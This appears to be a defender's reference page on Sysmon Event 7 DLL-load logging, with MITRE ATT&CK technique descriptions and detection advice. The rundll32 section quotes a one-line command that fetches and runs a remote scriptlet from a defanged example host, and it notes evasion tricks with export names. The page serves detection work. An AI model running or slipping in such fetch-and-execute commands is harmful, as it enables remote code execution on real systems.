Event 7: Image Loaded
Quick Answer
Sysmon Event 7 logs DLL (Dynamic Link Library) loading into processes, capturing which DLLs are loaded, their file paths, and cryptographic hashes. This event is critical for detecting DLL injection, DLL side-loading, and reflective DLL injection used by attackers and malware.
Technical Details
Event ID: 7
Sysmon- System Change
Event Description
Logs when a module is loaded in a specific process. This event is disabled by default and needs to be configured with the –l option. It indicates the process in which the module is loaded, hashes and signature information.
Key Log Fields
UtcTime- UTC timestamp of image loadProcessGuid- Process GUID that loaded the imageProcessId- Process IDImage- Process executable pathImageLoaded- Full path to the loaded DLL/moduleFileVersion- File version of the loaded imageDescription- Description from image metadataProduct- Product nameCompany- Company nameOriginalFileName- Original filename (detects renamed DLLs)Hashes- File hashes of the loaded imageSigned- Whether the image is digitally signedSignature- Signer nameSignatureStatus- Signature validation status
MITRE ATT&CK® Mapping (28)
Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)). Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective. The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017) The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)
Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.
Event Comparison
Event 7 should be carefully filtered to avoid overwhelming log volume. Focus on unsigned DLLs, unusual load paths, and suspicious processes. Combine with Event 8 (CreateRemoteThread) for complete injection detection.
What This Event Means
Sysmon Event 7 provides visibility into Dynamic Link Library loading, tracking when executable code in the form of DLLs is loaded into running processes. This event captures the process loading the DLL, the full path and filename of the loaded DLL, cryptographic hashes, digital signature information, and the image base address in memory. DLL loading is a fundamental Windows mechanism that threat actors frequently exploit through techniques like DLL injection (forcing malicious DLLs into legitimate processes), DLL side-loading (placing malicious DLLs alongside legitimate applications), DLL hijacking (exploiting DLL search order), and reflective DLL injection (loading DLLs directly from memory without touching disk). Security analysts use Event 7 to detect these sophisticated evasion techniques by monitoring for unsigned or invalidly signed DLLs, DLLs loading from suspicious paths like Temp directories or user profiles, unusual DLLs loading into system processes, and DLLs with known malicious hashes. The event enables detection of fileless malware that loads malicious code directly into memory, advanced persistent threats using custom DLLs for espionage, and commodity malware using process injection to hide from security tools. Because Event 7 can generate substantial log volume in active environments, security teams often configure Sysmon to exclude common legitimate DLLs while focusing on suspicious loading patterns. The event is particularly valuable when investigating memory-based attacks where traditional file-based detection fails, as it provides evidence of malicious code execution even when no malicious files exist on disk.
Security Implications
- Unsigned DLLs or those with invalid signatures loading into system processes indicate injection attacks
- DLLs loading from unusual paths like AppData, Temp, or user Downloads folders suggest malware
- Reflective loading patterns where DLL paths don't match file system locations reveal memory-resident threats
- Cobalt Strike and other frameworks have distinctive DLL signatures and hash values observable in Event 7
- DLLs with randomized or obfuscated names loading into browsers or Office apps often indicate exploitation
Detection Strategies
Configure Sysmon Event 7 filtering to exclude known-good Microsoft-signed DLLs while capturing potentially malicious loading activity. This reduces log volume while maintaining security visibility. Alert on unsigned DLLs loading into sensitive processes like lsass.exe, browsers, or Office applications. Monitor for DLLs loading from suspicious directories particularly Temp, AppData, public folders, and network shares. Create hash-based detection for known malicious DLLs and regularly update with threat intelligence. Track DLLs with suspicious naming patterns including random alphanumeric strings or names mimicking legitimate system DLLs. Correlate Event 7 with process creation (Event 1) to understand the execution chain that led to suspicious DLL loading. Implement behavioral analysis to identify processes that suddenly load unusual numbers or types of DLLs compared to baseline behavior. Comprehensive Sysmon configuration examples and filtering best practices will be provided in future documentation.
Note: Comprehensive SIEM detection queries for Splunk SPL, Microsoft KQL, and Elastic Query DSL will be added in future updates.
Real-World Attack Examples
Cobalt Strike beacon DLLs have specific export characteristics and hash ranges visible in Sysmon Event 7 during post-exploitation
Emotet malware uses DLL injection extensively, visible through Event 7 capturing unsigned DLLs loading into legitimate Windows processes
APT groups employ custom espionage DLLs that side-load alongside legitimate applications, detectable through anomalous DLL loading patterns